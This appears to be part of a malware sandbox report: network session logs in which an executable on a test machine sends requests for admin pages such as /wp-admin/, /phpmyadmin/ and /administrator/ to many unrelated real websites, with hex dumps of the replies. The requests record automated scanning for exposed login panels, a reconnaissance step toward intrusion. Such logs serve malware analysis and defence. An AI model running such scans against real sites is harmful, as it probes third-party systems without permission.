2023-11-26 05:59:41 UTC	326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6e 61 73 74 61 2e 65 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.bunasta.eu/administrator/">here</a>.</p><hr><address>Apache/2.4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	63234	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	231	OUT	GET /wp-admin/ HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.harasduberry.com/wp-login.php
2023-11-26 05:59:41 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:41 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 31 66 66 32 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 Data Ascii: vaux vendre</a></li></ul></li><li1ff2 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc
2023-11-26 05:59:41 UTC	7301	IN	Data Raw: 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 66 66 38 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 6d 62 48 2c 20 53 74 Data Ascii: ntr\u00f4le Jimdo\n\nLes cookiff8es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo GmbH, St

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	62884	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	224	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: OF=ggr72avlfjvqinhaol7mprbv57 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 30 61 62 37 61 34 35 61 37 30 61 64 61 66 37 38 39 32 33 30 65 38 32 32 61 61 34 33 31 62 37 33 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 35 3a 35 39 3a 34 31 20 47 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:41 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedset-cookie: k8spersistent=0ab7a45a70adaf789230e822aa431b73\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 05:59:41 G
2023-11-26 05:59:42 UTC	9214	IN	Data Raw: 32 33 46 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 Data Ascii: 23F6<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type"
2023-11-26 05:59:42 UTC	14024	IN	Data Raw: 33 36 43 30 0d 0a 39 34 36 37 38 2f 63 61 74 2f 61 6c 6c 22 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 3c 53 54 52 49 4b 45 3e 42 65 6b 69 6a 6b 20 61 6c 6c 65 20 76 61 63 61 74 75 72 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 74 65 6d 43 6f 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 46 6f 74 6f 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 22 20 61 6c 74 3d 22 22 20 74 69 74 6c 65 3d 22 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 Data Ascii: 36C094678/cat/all" target="_self"><STRIKE>Bekijk alle vacatures</STRIKE></A></P></div></div></div>...LINKS--></div><div class="tItemCon"><div class="tFoto"><img style="" alt="" title="" width="1920" height="
2023-11-26 05:59:42 UTC	3578	IN	Data Raw: 44 46 33 0d 0a 20 72 65 6c 65 76 61 6e 74 65 20 66 75 6e 63 74 69 65 73 20 6f 70 20 48 42 4f 2d 20 65 6e 20 57 4f 2d 6e 69 76 65 61 75 2e 3c 2f 64 69 76 3e 0a 09 09 09 3c 21 2d 2d 49 4e 54 52 4f 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 0a 09 09 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 34 20 6d 61 69 6e 4c 65 76 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6d 73 5f 63 61 74 65 67 6f 72 69 65 2f 39 34 36 37 37 2f 62 62 2f 31 2f 69 64 2f 39 34 36 37 37 22 20 74 69 74 6c 65 3d 22 53 69 74 65 6d 61 70 22 3e 53 69 74 65 6d 61 70 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 3c Data Ascii: DF3 relevante functies op HBO- en WO-niveau.</div>...INTROLINKS--></div></li> <li class="col-md-4 mainLev"><a href="https://www.beachrecruitment.com/index.php/cms_categorie/94677/bb/1/id/94677" title="Sitemap">Sitemap</a> <
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.4	63481	15.235.14.141	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	170	OUT	GET /admin.php HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:41 UTC	15911	IN	Data Raw: 37 39 36 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 796e<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:41 UTC	15188	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 42 69 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/"> Bi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	63476	47.246.24.211	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	169	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: wonka.cc Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	734	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 54 65 6e 67 69 6e 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 53 50 2e 4e 45 54 5f 53 65 73 73 69 6f 6e 49 64 3d 6e 74 79 69 32 65 74 71 33 65 6a 63 34 30 6f 69 32 69 76 32 65 75 31 61 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b Data Ascii: HTTP/1.1 404 Not FoundServer: TengineContent-Type: text/html; charset=utf-8Content-Length: 103Connection: closeDate: Sun, 26 Nov 2023 05:59:42 GMTCache-Control: privateSet-Cookie: ASP.NET_SessionId=ntyi2etq3ejc40oi2iv2eu1a; path=/; HttpOnly;
2023-11-26 05:59:42 UTC	103	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 6e 77 7a 69 6d 67 2e 77 65 7a 68 61 6e 2e 6e 65 74 2f 73 74 61 74 69 63 2d 6a 73 2f 70 61 67 65 34 30 34 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <!DOCTYPE html><html><head><script src='https://nwzimg.wezhan.net/static-js/page404.js'></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	63278	116.202.203.176	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	565	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 34 39 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 13491Connection: closeX-Frame-Options: SAMEORIGINExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache,
2023-11-26 05:59:41 UTC	13491	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 41 4b 20 48 4c 57 20 4c 61 6e 64 65 63 6b 2c 20 57 65 62 73 69 74 65 20 64 65 72 20 48 61 6e 64 65 6c 73 61 6b 61 64 65 6d 69 65 2c 20 64 65 72 20 4d 65 64 69 61 68 61 6b 20 4c 61 6e 64 65 63 6b 20 75 6e 64 Data Ascii: <!DOCTYPE html><html lang="de-de" dir="ltr"><head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="HAK HLW Landeck, Website der Handelsakademie, der Mediahak Landeck und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	63517	76.223.105.230	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	200	OUT	GET /pma/ HTTP/1.1 Host: saudi-jamac.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	288	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 36 34 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 44 50 53 2f 32 2e 30 2e 30 2b 73 68 61 2d 33 32 31 30 62 34 39 0d 0a 58 2d 56 65 72 73 69 6f 6e 3a 20 33 32 31 30 62 34 39 0d 0a 58 2d 53 69 74 65 49 64 3a 20 75 73 2d 65 61 73 74 2d 31 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 64 70 73 5f 73 69 74 65 5f 69 64 3d 75 73 2d 65 61 73 74 2d 31 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-3210b49X-Version: 3210b49X-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Sun, 26 Nov 2023 05
2023-11-26 05:59:41 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	63533	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	174	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
